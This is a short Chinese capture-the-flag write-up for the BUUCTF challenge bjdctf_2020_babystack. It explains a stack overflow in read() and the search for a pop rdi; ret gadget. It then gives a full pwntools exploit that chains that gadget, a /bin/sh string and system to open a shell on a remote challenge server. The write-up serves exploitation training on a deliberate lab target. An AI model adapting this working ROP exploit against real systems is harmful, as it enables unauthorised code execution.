BUUCTF bjdctf_2020_babystack

小白做题笔记而已,不建议阅读

只有一个NX

64为程序用rdi传参

 

 

read函数存在栈溢出

 

shift  f12

有system函数调用,并且存在/bin/sh

 去找有没有pop rdi  ret

ROPgadget  --binary   bjdctf_2020_babystack  --only   "pop|ret" | grep rdi  
0x0000000000400833 : pop rdi ; ret

有的,所以我们的利用思路就是将返回地址先覆盖为pop  rdi  ;ret 的地址,将参数(/bin/sh)传入rdi

那么pop rdi  ;ret  后边的内容就应该是/bin/sh的地址了。

然后再将system的地址填充进去,这样pop rdi  ;ret;执行ret的时候就会去执行system

exp

from pwn import *

debug=0
if debug:
    p=process('./bjdctf_2020_babystack')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
#    gdb.attach(p)
else:
    p=remote('node4.buuoj.cn',25681)

def ru(x):
    return p.recvuntil(x)

def sel(x):
    p.sendline(x)
# ROPgadget  --binary   bjdctf_2020_babystack  --only   "pop|ret" | grep rdi
#0x0000000000400833 : pop rdi ; ret


sys_add=p64(0x0000000000400590)
bin_sh_add=p64(0x0000000000400858)
pop_rdi_add=p64(0x0000000000400833)
payload=b'a'*(0x10+8)+pop_rdi_add+bin_sh_add+sys_add
ru(b'name:\n')
sel(b'666')
ru('name?\n')
sel(payload)
p.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

y6y6y666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值